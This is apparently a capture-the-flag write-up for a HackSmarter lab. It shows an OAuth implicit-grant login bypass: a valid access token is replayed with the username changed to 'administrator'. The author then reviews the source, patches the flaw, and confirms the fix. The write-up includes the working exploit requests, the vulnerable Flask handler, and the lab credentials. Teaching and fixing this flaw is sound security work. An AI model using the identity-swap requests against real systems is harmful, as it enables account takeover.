Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Implicit

Target Information

Property Value
Target 10.0.30.72
Platform Linux
Application HackSmarter ID — OAuth Implicit Grant SSO

This engagement had two objectives: (1) a targeted penetration test of a new OAuth Implicit-Grant SSO integration, with the goal of logging in as the administrator, and (2) a secure code review — triage the vulnerable code, hot-patch it, and deploy the fix through the internal CI/CD pipeline, then confirm the exploit no longer works.

Enumeration

Started with a full service scan.

nmap -Pn -P -A 10.0.30.72

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.0.1 (Python 3.10.19)
|_http-title: Login | Hack Smarter
|_http-server-header: Werkzeug/3.0.1 Python/3.10.19
222/tcp  open  ssh     OpenSSH 9.3 (protocol 2.0)
3000/tcp open  http    Golang net/http server
|_http-title: Gitea: Git with a cup of tea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The Flask app on port 80 (Login | Hack Smarter) was the Objective #1 target. Port 3000 hosted a Gitea instance — relevant later for Objective #2. Two SSH daemons (22, 222) were out of scope for the web objective.

Objective #1 — Administrator Impersonation

Baseline Authentication Flow

The provided credentials (student:HackSmarter2026!) were intended for the Gitea server, not the SSO app — they failed against the client login.

POST /sso/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/x-www-form-urlencoded

username=student&password=HackSmarter2026!

--- Response ---
Invalid username or password.

The SSO provider allowed self-registration, so I registered a throwaway account to walk the authentication flow with a legitimate identity.

tonny_sop:WiseGuy123!

Registering logged the account straight into the SSO provider and redirected to the authorization endpoint.

POST /sso/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/x-www-form-urlencoded

username=tonny_sop&password=WiseGuy123!

--- Response ---
HTTP/1.1 302 FOUND
Location: /oauth/auth
Set-Cookie: session=eyJzc29fdXNlciI6InRvbm55X3NvcCJ9...

/oauth/auth rendered the consent screen, signed in as tonny_sop.

Approving the consent issued the access token and returned it — along with the username — in the URL fragment, the hallmark of an OAuth Implicit Grant.

POST /oauth/approve HTTP/1.1
Host: 10.0.30.72

--- Response ---
HTTP/1.1 302 FOUND
Location: /#access_token=473a466ce230458896b24d1fde87e6d0&username=tonny_sop

The client-side JavaScript (/static/js/auth.js) parsed the fragment and POSTed both values to the client API.

document.addEventListener('DOMContentLoaded', () => {
    // 1. Extract the parameters from the URL fragment (after the #)
    function getHashParams() {
        const hash = window.location.hash.substring(1);
        const params = {};
        if (hash) {
            hash.split('&').forEach(pair => {
                const [key, value] = pair.split('=');
                params[key] = decodeURIComponent(value);
            });
        }
        return params;
    }
    const params = getHashParams();
    // ... POST { access_token, username } to /api/login
});

The legitimate /api/login call established the session and let the dashboard load as tonny_sop.

POST /api/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/json

{
  "access_token": "473a466ce230458896b24d1fde87e6d0",
  "username": "tonny_sop"
}

--- Response ---
HTTP/1.1 200 OK
Set-Cookie: session=.eJyrViouzo8vLU4tUrJSKsnPy6uML84vUNJRAgnlJeamogj...
{
  "success": true
}

Vulnerability Identification

The key observation was in that final request: the username was supplied by the client, independently of the access token. If the server only checked that the token was valid — without confirming the username actually belonged to that token — then a legitimate token could be paired with any identity.

I sent the /api/login request to Caido Replay, left tonny_sop’s valid token untouched, and changed only the username to administrator (matching the server’s literal identity check).

POST /api/login HTTP/1.1
Host: 10.0.30.72
Content-Type: application/json

{
  "access_token": "473a466ce230458896b24d1fde87e6d0",
  "username": "administrator"
}

--- Response ---
HTTP/1.1 200 OK
Set-Cookie: session=eyJzc29fdXNlciI6InRvbm55X3NvcCIsInVzZXJuYW1lIjoiYWRtaW5pc3RyYXRvciJ9...
{
  "success": true
}

The server accepted it and issued a new session — for an administrator identity, backed by a token that belonged to tonny_sop.

Exploitation

Loading /dashboard with the manipulated session confirmed the impersonation: the app identified me as administrator@hacksmarter.org, unlocked the Platform Administration section, and released the flag.

HSM{1mpl1c1t_trU5t_1s_b4d_mkay}

Root Cause

The OAuth token never had to be forged. The application trusted two independently supplied values — a valid token and a client-controlled username — and bound the session to the username instead of deriving it from the token:

Authenticate as tonny_sop
        ↓
Receive valid OAuth token
        ↓
Intercept POST /api/login
        ↓
Keep access_token unchanged, change username: tonny_sop → administrator
        ↓
Server accepts → administrator session

This is an OAuth Token-to-Identity Binding Failure (client-controlled identity impersonation), resulting in authentication bypass. Objective #1 complete.

Objective #2 — Secure Code Review & Fix

Source Access

The internal Gitea server held the application source. I cloned it with the provided student credentials.

git clone http://student:HackSmarter2026%21@10.0.30.72:3000/student/oauth-implicit-lab.git
cd oauth-implicit-lab

Cloning into 'oauth-implicit-lab'...
remote: Enumerating objects: 21, done.
Receiving objects: 100% (21/21), 9.59 KiB | 66.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.

Root Cause in Source

/api/login in app.py confirmed the flaw exactly as observed over the wire: the token is checked for existence, but the session identity is taken from the client-supplied username, not from the token’s owner.

@app.route('/api/login', methods=['POST'])
def api_login():
    data = request.get_json()
    if not data:
        return jsonify({"success": False, "message": "Invalid request."}), 400

    client_token = data.get('access_token')
    client_username = data.get('username')

    # 1. Does the token exist in our system?
    if client_token in valid_tokens:
        session['username'] = client_username        # <-- trusts client, not the token
        return jsonify({"success": True})
    else:
        return jsonify({"success": False, "message": "Invalid or expired access token."}), 401

The provider stored the token→user mapping at issue time (valid_tokens[access_token] = current_sso_user), so the authoritative identity was already available server-side — it was simply ignored.

Hot-Patch

I patched /api/login to derive the identity from the token mapping and discard the client-supplied username entirely.

     client_token = data.get('access_token')
-    client_username = data.get('username')
-
-    # 1. Does the token exist in our system?
-    if client_token in valid_tokens:
-        session['username'] = client_username
+
+    # Validate the token and derive the authenticated identity server-side.
+    token_username = valid_tokens.get(client_token)
+
+    if token_username:
+        session['username'] = token_username
         return jsonify({"success": True})
-    else:
-        return jsonify({"success": False, "message": "Invalid or expired access token."}), 401
+
+    return jsonify({
+        "success": False,
+        "message": "Invalid or expired access token."
+    }), 401

CI/CD Deployment

The repo’s Gitea Actions workflow (.gitea/workflows/deploy.yaml) auto-deploys app.py to production on push. After setting a commit identity, I committed and pushed the fix.

git config user.name "student"
git config user.email "student@hacksmarter.local"
git commit -m "fix: bind OAuth token to authenticated user"
git push

[main 3edc52b] fix: bind OAuth token to authenticated user
 1 file changed, 12 insertions(+), 9 deletions(-)
To http://10.0.30.72:3000/student/oauth-implicit-lab.git
   ed6489c..3edc52b  main -> main

Fix Verification

Once the pipeline redeployed, the original exploit token was gone and the replayed impersonation request was rejected outright.

POST /api/login HTTP/1.1
Content-Type: application/json

{
  "access_token": "473a466ce230458896b24d1fde87e6d0",
  "username": "administrator"
}

--- Response ---
HTTP/1.1 401 UNAUTHORIZED
{
  "message": "Invalid or expired access token.",
  "success": false
}

To prove the fix didn’t break legitimate logins — and that the impersonation itself was closed — I ran a fresh flow, obtained a new token as tonny_sop, then replayed /api/login with that valid token but username=administrator.

POST /api/login HTTP/1.1
Content-Type: application/json

{
  "access_token": "67860dd0138a451e9d72f49ab4935fe5",
  "username": "administrator"
}

--- Response ---
HTTP/1.1 200 OK
{
  "success": true
}

The request still succeeded (the token was valid), but the server now ignores the client username and binds the session to the token’s real owner. The resulting dashboard loaded as tonny_sop — no Platform Administration section, no flag — despite administrator being sent.

Identity is now derived from the token, the impersonation path is closed, and legitimate authentication is unaffected. Objective #2 complete.

Attack Path Summary

OAuth Implicit-Grant SSO on port 80
↓
Provided creds fail on /sso/login → self-register tonny_sop
↓
Walk flow: /sso/login → /oauth/auth → /oauth/approve
↓
Token returned in URL fragment; client JS POSTs {access_token, username} to /api/login
↓
Server trusts client-supplied username → replay token with username=administrator
↓
Administrator session → /dashboard → flag  (Objective #1)
↓
Clone source from Gitea (port 3000) → confirm /api/login identity-binding flaw
↓
Patch to derive identity from token → commit + push → CI/CD auto-deploy
↓
Re-exploit rejected; legitimate login intact  (Objective #2)

Credentials Found

Principal Credential Source
student HackSmarter2026! Provided (Gitea / source access)
tonny_sop WiseGuy123! Self-registered on the SSO provider
administrator SuperSecretAdminPassword123! Hardcoded in app.py (users dict) — never needed for the exploit

Tools Used

  • Nmap
  • Caido
  • Git / Gitea
  • Firefox DevTools